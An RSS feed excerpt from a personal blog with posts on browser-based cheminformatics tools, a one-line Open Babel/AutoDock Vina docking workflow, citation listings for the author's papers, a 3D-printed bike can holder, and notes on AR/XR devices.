This is perfect for generating 2D Figures (HTML5 Canva/SVGs), Canonical SMILES, Descriptors e.t.c</p>

<h3 id="substructure-matching">Substructure Matching</h3>

<p>This can be used to flag undesirable functional groups in a given compound.
Create a simple key:value pairs of name:SMARTS and use it to highlight substructure matches. 
Thus, something like PostEra's Medicinal Chemistry Alert can be done with RDKit-JS alone.</p>

<p><img src="/assets/posts/cheminformatics-web/postera-demo.png" alt="PostEra Demo" /></p>

<h3 id="computing-properties">Computing Properties</h3>

<p>This is useful to calculate basic properties of a given compound.</p>

<p><img src="/assets/posts/cheminformatics-web/rdkit-demo.png" alt="RDKit-JS Demo" /></p>

<h2 id="webina-molecular-docking">Webina - Molecular Docking</h2>

<p>Webina is a JavaScript/Wasm library that runs AutoDock Vina, which can enable you to run Molecular Docking straight in the browser itself.</p>

<p><img src="/assets/posts/cheminformatics-web/webina-demo.png" alt="Webina Demo" /></p>

<p>Obviously, it takes a few hits in the time to complete the docking because the code is transpiled from C++ to Wasm.
But, the only major drawback (for now) is that it uses SharedArrayBuffer.
Due to Spectre, this feature was disabled on all browsers.
Currently, only Chromium-based and Firefox browsers have reimplemented and enabled it. 
Hopefully, soon, this will be again supported by all major browsers.</p>

<h2 id="machine-learning">Machine Learning</h2>

<p>Frameworks have now evolved enough to allow exporting models to be able to run them through JavaScript/Wasm backend.
An example task can be <strong>NER</strong> or Named-entity Recognition.
It can be used to extract compounds or diseases from a large blob of text and then matched with external references.
Another example is target-prediction right in the browser: <a rel="noopener" target="_blank" href="http://chembl.blogspot.com/2021/03/target-predictions-in-browser-with.html">CHEMBL - Target Prediction in Browser</a></p>

<p>CHEMBL Group is first training the model using PyTorch (A Python ML Library), then converting it to the ONNX runtime.
A model like this can be directly implemented in TensorFlow, and then exported to be able to run with TensorFlow.js</p>

<h2 id="cheminfo-to-web">Cheminfo-to-web</h2>

<p>The project aims to port cheminformatics libraries into JavaScript via Emscripten.
They have ported InChI, Indigo, OpenBabel, and OpenMD</p>

<h3 id="kekulejs">Kekule.js</h3>

<p>It is written by @partridgejiang, who is behind the Cheminfo-to-web project</p>

<blockquote>
  <p>It is molecule-centric, focusing on providing the ability to represent, draw, edit, compare and search molecule structures on web browsers.</p>
</blockquote>

<h2 id="browser-extensions">Browser Extensions</h2>

<p>The previous machine learning examples can be packaged as browser-extensions to perform tasks on the article you are reading. 
With iOS 15 bringing WebExtensions to iOS/iPadOS, the same browser extension source code can be now used on Desktop and Mobile Phones.
You can quickly create an extension to convert PDB codes into links to RCSB, highlight SMILES, highlight output of NER models, e.t.c</p>

<h2 id="conclusion">Conclusion</h2>

<p>I have not even touched all the bases of cheminformatics for the web here.
There is still a lot more to unpack.
Hopefully, this encourages you to explore the world of cheminformatics on the web.</p>

<h2 id="further-reading">Further Reading</h2>

<p><a rel="noopener" target="_blank" href="https://blueobelisk.github.io/greasemonkey.html">Blueobelisk Userscripts</a></p>

<p><a rel="noopener" target="_blank" href="https://depth-first.com/articles/2019/05/01/javascript-for-cheminformatics-part-2/">JavaScript for Cheminformatics</a></p>

<p><a rel="noopener" target="_blank" href="https://unpkg.com/@rdkit/rdkit@2021.3.3/Code/MinimalLib/dist/GettingStartedInJS.html">Getting Started with RDKit-JS</a></p>
]]></content:encoded>
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			<guid isPermaLink="true">
				https://web.navan.dev/posts/2020-06-01-Speeding-Up-Molecular-Docking-Workflow-AutoDock-Vina-and-PyMOL.html
			</guid>
			<title>
				Workflow for Lightning Fast Molecular Docking Part One
			</title>
			<description>
				This is my workflow for lightning fast molecular docking.
			</description>
			<link>https://web.navan.dev/posts/2020-06-01-Speeding-Up-Molecular-Docking-Workflow-AutoDock-Vina-and-PyMOL.html</link>
			<pubDate>Mon, 01 Jun 2020 13:10:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="workflow-for-lightning-fast-molecular-docking-part-one">Workflow for Lightning Fast Molecular Docking Part One</h1>

<h2 id="my-setup">My Setup</h2>

<ul>
<li>macOS Catalina ( RIP 32bit app)</li>
<li>PyMOL</li>
<li>AutoDock Vina</li>
<li>Open Babel</li>
</ul>

<h2 id="one-command-docking">One Command Docking</h2>

<pre><code>obabel -:"$(pbpaste)" --gen3d -opdbqt -Otest.pdbqt &amp;&amp; vina --receptor lu.pdbqt --center_x -9.7 --center_y 11.4 --center_z 68.9 --size_x 19.3 --size_y 29.9 --size_z 21.3  --ligand test.pdbqt
</code></pre>

<p>To run this command you simple copy the SMILES structure of the ligand you want an it automatically takes it from your clipboard, generates the 3D structure in the AutoDock PDBQT format using Open Babel and then docks it with your receptor using AutoDock Vina, all with just one command.</p>

<p>Let me break down the commands</p>

<pre><code>obabel -:"$(pbpaste)" --gen3d -opdbqt -Otest.pdbqt
</code></pre>

<p><code>pbpaste</code>  and <code>pbcopy</code> are macOS commands for pasting and copying from and to the clipboard. Linux users may install the <code>xclip</code> and  <code>xsel</code> packages from their respective package managers and then insert these aliases into their bash_profile,  zshrc e.t.c</p>

<pre><code>alias pbcopy='xclip -selection clipboard'
alias pbpaste='xclip -selection clipboard -o'
</code></pre>

<pre><code>$(pbpaste)
</code></pre>

<p>This is used in bash to evaluate the results of a command. In this scenario we are using it to get the contents of the clipboard.</p>

<p>The rest of the command is a normal Open Babel command to generate a 3D structure in PDBQT format and then save it as <code>test.pdbqt</code></p>

<pre><code>&amp;&amp;
</code></pre>

<p>This tells the terminal to only run the next part if the previous command runs successfully without any errors.</p>

<pre><code>vina --receptor lu.pdbqt --center_x -9.7 --center_y 11.4 --center_z 68.9 --size_x 19.3 --size_y 29.9 --size_z 21.3  --ligand test.pdbqt
</code></pre>

<p>This is just the docking command for AutoDock Vina. In the next part I will tell how to use PyMOL and a plugin to directly generate the coordinates in Vina format <code>--center_x -9.7 --center_y 11.4 --center_z 68.9 --size_x 19.3 --size_y 29.9 --size_z 21.3</code> without needing to type them manually.</p>
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				https://web.navan.dev/publications/2019-05-14-Detecting-Driver-Fatigue-Over-Speeding-and-Speeding-up-Post-Accident-Response.html
			</guid>
			<title>
				Detecting Driver Fatigue, Over-Speeding, and Speeding up Post-Accident Response
			</title>
			<description>
				This paper is about Detecting Driver Fatigue, Over-Speeding, and Speeding up Post-Accident Response.
			</description>
			<link>https://web.navan.dev/publications/2019-05-14-Detecting-Driver-Fatigue-Over-Speeding-and-Speeding-up-Post-Accident-Response.html</link>
			<pubDate>Tue, 14 May 2019 02:42:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="detecting-driver-fatigue-over-speeding-and-speeding-up-post-accident-response">Detecting Driver Fatigue, Over-Speeding, and Speeding up Post-Accident Response</h1>

<blockquote>
  <p>Based on the project showcased at Toyota Hackathon, IITD - 17/18th December 2018</p>
</blockquote>

<p>Edit: It seems like I haven't mentioned Adrian Rosebrock of PyImageSearch anywhere. I apologize for this mistake.</p>

<p><a rel="noopener" target="_blank" href="https://www.irjet.net/archives/V6/i5/IRJET-V6I5318.pdf">Download paper here</a></p>

<p>Recommended citation:</p>

<h3 id="atp">ATP</h3>

<pre><code>Chauhan, N. (2019). &amp;quot;Detecting Driver Fatigue, Over-Speeding, and Speeding up Post-Accident Response.&amp;quot; &lt;i&gt;International Research Journal of Engineering and Technology (IRJET), 6(5)&lt;/i&gt;.
</code></pre>

<h3 id="bibtex">BibTeX</h3>

<pre><code>@article{chauhan_2019, title={Detecting Driver Fatigue, Over-Speeding, and Speeding up Post-Accident Response}, volume={6}, url={https://www.irjet.net/archives/V6/i5/IRJET-V6I5318.pdf}, number={5}, journal={International Research Journal of Engineering and Technology (IRJET)}, author={Chauhan, Navan}, year={2019}}
</code></pre>
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				https://web.navan.dev/publications/2020-03-14-generating-vaporwave.html
			</guid>
			<title>
				Is it possible to programmatically generate Vaporwave?
			</title>
			<description>
				This paper is about programmaticaly generating Vaporwave.
			</description>
			<link>https://web.navan.dev/publications/2020-03-14-generating-vaporwave.html</link>
			<pubDate>Sat, 14 Mar 2020 22:23:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="is-it-possible-to-programmatically-generate-vaporwave">Is it possible to programmatically generate Vaporwave?</h1>

<p>This is still a pre-print.</p>

<p><a rel="noopener" target="_blank" href="https://indiarxiv.org/9um2r/">Download paper here</a></p>

<p>Recommended citation:</p>

<h3 id="apa">APA</h3>

<pre><code>Chauhan, N. (2020, March 15). Is it possible to programmatically generate Vaporwave?. https://doi.org/10.35543/osf.io/9um2r
</code></pre>

<h3 id="mla">MLA</h3>

<pre><code>Chauhan, Navan. “Is It Possible to Programmatically Generate Vaporwave?.” IndiaRxiv, 15 Mar. 2020. Web.
</code></pre>

<h3 id="chicago">Chicago</h3>

<pre><code>Chauhan, Navan. 2020. “Is It Possible to Programmatically Generate Vaporwave?.” IndiaRxiv. March 15. doi:10.35543/osf.io/9um2r.
</code></pre>

<h3 id="bibtex">Bibtex</h3>

<pre><code>@misc{chauhan_2020,
 title={Is it possible to programmatically generate Vaporwave?},
 url={indiarxiv.org/9um2r},
 DOI={10.35543/osf.io/9um2r},
 publisher={IndiaRxiv},
 author={Chauhan, Navan},
 year={2020},
 month={Mar}
}
</code></pre>
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			</guid>
			<title>
				Possible Drug Candidates for COVID-19
			</title>
			<description>
				COVID-19, has been officially labeled as a pandemic by the World Health Organisation. This paper presents cloperastine and vigabatrin as two possible drug candidates for combatting the disease along with the process by which they were discovered.
			</description>
			<link>https://web.navan.dev/publications/2020-03-17-Possible-Drug-Candidates-COVID-19.html</link>
			<pubDate>Tue, 17 Mar 2020 17:40:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="possible-drug-candidates-for-covid-19">Possible Drug Candidates for COVID-19</h1>

<p>This is still a pre-print.</p>

<p><a rel="noopener" target="_blank" href="https://chemrxiv.org/articles/Possible_Drug_Candidates_for_COVID-19/11985231">Download paper here</a></p>
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				https://web.navan.dev/3D-Designs/2024-02-17-Can-Holder-Mountain-Bike.html
			</guid>
			<title>
				Bike Soda Can Holder
			</title>
			<description>
				Carry your favourite soda (or beer) can with you while you ride
			</description>
			<link>https://web.navan.dev/3D-Designs/2024-02-17-Can-Holder-Mountain-Bike.html</link>
			<pubDate>Sat, 17 Feb 2024 18:42:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="bike-soda-can-holder">Bike Soda Can Holder</h1>

<p>Ever wanted a nice craft soda, or a natty light during your ride? Mounts to the standard bottle cage holes on your bike.</p>

<p>Printed on an Anycubic Kobra 2 (0.20mm resolution w/ 0.40mm nozzle at 40% Infill) </p>

<p>Download Link: <a rel="noopener" target="_blank" href="https://github.com/navanchauhan/3D-Designs/tree/master/MTBCanHolder">Github</a></p>

<script type="module" src="https://ajax.googleapis.com/ajax/libs/model-viewer/3.4.0/model-viewer.min.js"></script>

<div class="wrapper">
<model-viewer alt="Holder for standard 12oz can" src="https://raw.githubusercontent.com/navanchauhan/3D-Designs/master/MTBCanHolder/12ozCanHolder.glb" shadow-intensity="1" ar ar-scale="auto" camera-controls touch-action="pan-y" camera-orbit="90deg 45def auto" auto-rotate xr-environment>
</div>

<style>
.wrapper {
    width: 100%
}

model-viewer {
    height: 600px;
    width: auto;
}
</style>

<h2 id="current-variations">Current Variations</h2>

<ul>
<li>Standard 12oz Can</li>
<li>8.4 oz Red Bull holder</li>
</ul>

<p>The OpenSCAD code can be modified to support tall boys and stovepipe cans. Email me if you need help generating more variations</p>
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			</guid>
			<title>
				AR XR MR
			</title>
			<description>
				Data dump from my notes
			</description>
			<link>https://web.navan.dev/ideas/2022-12-17-ar-mr-xr.html</link>
			<pubDate>Sat, 17 Dec 2022 19:43:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="ar-xr-mr">AR XR MR</h1>

<p>Last Updated: 2022-12-17</p>

<h2 id="projects">Projects</h2>

<p>All projects listed here are in the following format:</p>

<table>
<thead>
<tr>
  <th>Name</th>
  <th>Company</th>
  <th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
  <td>Hololens</td>
  <td>Microsoft</td>
  <td></td>
</tr>
<tr>
  <td>Oculus</td>
  <td>Facebook/Meta</td>
  <td></td>
</tr>
<tr>
  <td><a rel="noopener" target="_blank" href="https://tesseract.in">Tesseract</a></td>
  <td>Jio/Tesseract</td>
  <td>Indian "startup"</td>
</tr>
<tr>
  <td><a rel="noopener" target="_blank" href="https://www.lynx-r.com/collections">R1</a></td>
  <td>Lynx</td>
  <td>MR Headset</td>
</tr>
<tr>
  <td><a rel="noopener" target="_blank" href="https://www.brilliantmonocle.com">Monocle</a></td>
  <td>Brilliant Labs</td>
  <td>Open Source Smart Monocle</td>
</tr>
<tr>
  <td><a rel="noopener" target="_blank" href="https://ar-js-org.github.io/AR.js-Docs/">AR.js</a></td>
  <td>AR-js-org</td>
  <td>Open Source framework for AR on the web. Supports image, location and marker based tracking</td>
</tr>
<tr>
  <td>ARKit</td>
  <td>Apple</td>
  <td>Framework for iOS</td>
</tr>
<tr>
  <td>ARCore</td>
  <td>Google</td>
  <td>Framework for Android</td>
</tr>
<tr>
  <td><a rel="noopener" target="_blank" href="https://8thWall.com">8thWall</a></td>
  <td>Niantic</td>
  <td>Framework for AR on the web</td>
</tr>
<tr>
  <td><a rel="noopener" target="_blank" href="https://www.theverge.com/2018/2/5/16966530/intel-vaunt-smart-glasses-announced-ar-video">Vaunt</a></td>
  <td>Intel</td>
  <td>Sold everything to North, the company behind Focals</td>
</tr>
<tr>
  <td><a rel="noopener" target="_blank" href="https://www.theverge.com/2019/2/14/18223593/focals-smart-glasses-north-review-specs-features-price">Focals</a></td>
  <td>North</td>
  <td>One of the only consumer grade smart glasses which got bought by Google :/, don't think they will ever launch a v2 now</td>
</tr>
</tbody>
</table>

<h2 id="resources">Resources</h2>

<ul>
<li>For latest updates, <a rel="noopener" target="_blank" href="https://reddit.com/r/AR_MR_XR">r/AR<em>MR</em>XR</a> is one of the best resources out there.</li>
<li>Until WebXR actually becomes a thing and gets support on Safari, depending on the use case any of the frameworks can be used right now with each having their own pros and cons. Otherwise, for displaying simple models Google's ModelViewer framework can be used to integrate with the native AR frameworks for both iOS and Android to display glTF/USDZ models.</li>
</ul>

<h2 id="ideas">Ideas</h2>

<h3 id="safety-checklist-for-cubrt">Safety Checklist for CUBRT</h3>

<p>Would be nice to have an AR app/website that goes through all the safety checklists on our cars, so we never have to see another loose fuel line blow up the entire car. </p>

<p>Possible solution: Add a fiduciary marker under the hood of the car and use it to highlight areas which need to be checked, or multiple markers which are activated in a particular order and show up as disabled until you complete the previous step.</p>

<h3 id="app-clips">App Clips</h3>

<p>Although App Clips on iOS have limited capabilities available to them, ARKit is one of them. This means, a QR code / NFC trigger can be used to launch a mini ARKit based App Clip.</p>

<h3 id="non-ar-smart-glasses">Non-AR Smart Glasses</h3>

<p>Not every pair of smart glasses need to have AR based surface tracking / SLAM, to display stuff. Just a simple display which can overlay elements on the real world should be capable of displaying tons of data</p>
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